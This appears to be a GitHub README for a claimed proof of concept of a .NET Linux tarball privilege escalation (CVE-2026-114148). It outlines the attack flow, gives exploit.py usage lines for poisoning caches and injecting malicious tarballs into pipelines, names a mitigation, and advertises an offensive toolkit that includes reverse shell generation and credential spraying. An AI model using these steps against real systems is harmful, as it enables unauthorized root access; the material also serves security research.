
CVE-2026-114148 - .NET Linux Tarball Local Privilege Escalation PoC & Exploit
uid=0 metadata in .NET tarballs for Linux allows local privilege escalation via extraction of files owned by root.
CVE-2026-114148 v3.0.0 | .NET Linux Tarball LPE
By Gh0st-Bx1 | github.com/Ghost-Bx1
The .NET tarballs for Linux (source-build and ASP.NET Core) include ownership metadata uid=0/gid=0 on critical executable files. When an administrator extracts these tarballs to install .NET on the system (e.g., /usr/local/dotnet), the kernel preserves this metadata and creates the files owned by root - even if the tarball was provided by an untrusted source.
A local attacker who can replace or modify the tarball before extraction can inject a SUID executable or overwrite a system binary, resulting in local privilege escalation to root.
| Field | Value |
|---|---|
| CVE | CVE-2026-114148 |
| CVSS | 7.8 (High) |
| CWE | CWE-276 (Incorrect Default Permissions) |
| Vendor | Microsoft |
| Date | October 2026 |
| Versao | Tarball afetado | Fix |
|---|---|---|
| .NET 8.x | source-build + ASP.NET Core | 8.0.33 |
| .NET 9.x | source-build + ASP.NET Core | 9.0.22 |
| .NET 10.x | source-build only | 10.0.14 |
| .NET 11.x | source-build only | 11.0.0-preview |
Atacante controla tarball .NET
|
v
Tarball contem: uid=0, gid=0, mode=4755 no executavel 'dotnet'
|
v
Admin executa: sudo tar -xzf dotnet.tar.gz -C /usr/local/dotnet
|
v
Kernel preserva metadados: /usr/local/dotnet/dotnet owned by root, SUID
|
v
Atacante executa: /usr/local/dotnet/dotnet -> shell root
python poc.py --inspect /path/to/dotnet-8.0.33.tar.gz
python poc.py --demo --output /tmp/poc-payload.tar.gz
# Extrair como root para verificar:
sudo tar -xzf /tmp/poc-payload.tar.gz -C /tmp/teste
ls -la /tmp/teste/
python exploit.py --replace-cache ~/.dotnet/cache/
# Aguardar extracao privilegiada, depois:
python exploit.py --check-suid /usr/local/dotnet
python exploit.py --inject-pipeline --output /tmp/malicious-dotnet.tar.gz
--no-same-owner when extracting as root: sudo tar --no-same-owner -xzf dotnet.tar.gzThis repository is for educational and security research purposes. Use only in authorized environments.
| Tool | Description |
|---|---|
| ghost-ad | Active Directory - LDAP, Kerberoasting, AS-REP Roasting, BloodHound-lite |
| ghost-cloud | Cloud Security - AWS, Azure and GCP misconfiguration scanner |
| ghost-fuzz | Web Fuzzing - directory brute-force, parameter fuzzing, vhost enumeration |
| ghost-osint | OSINT - domain, email and IP intelligence from public sources |
| ghost-privesc | Privilege Escalation - Linux privesc checker, 17 vectors, GTFOBins |
| ghost-recon | Reconnaissance - DNS, SSL, WAF, subdomain enumeration, email security |
| ghost-report | Reporting - pentest report generator from any ghost-* JSON output |
| ghost-scan | Port Scanner - async TCP/UDP scanner with banner grabbing and CVE correlation |
| ghost-shell | Payload Generation - reverse shell and web shell generator, 25+ languages |
| ghost-spray | Credential Attacks - password spraying, stuffing, default credential testing |
| ghost-wifi | WiFi Attacks - monitor mode, deauth, WPA/WPA2 capture, PMKID, WPS, Evil Twin |
By Gh0st-Bx1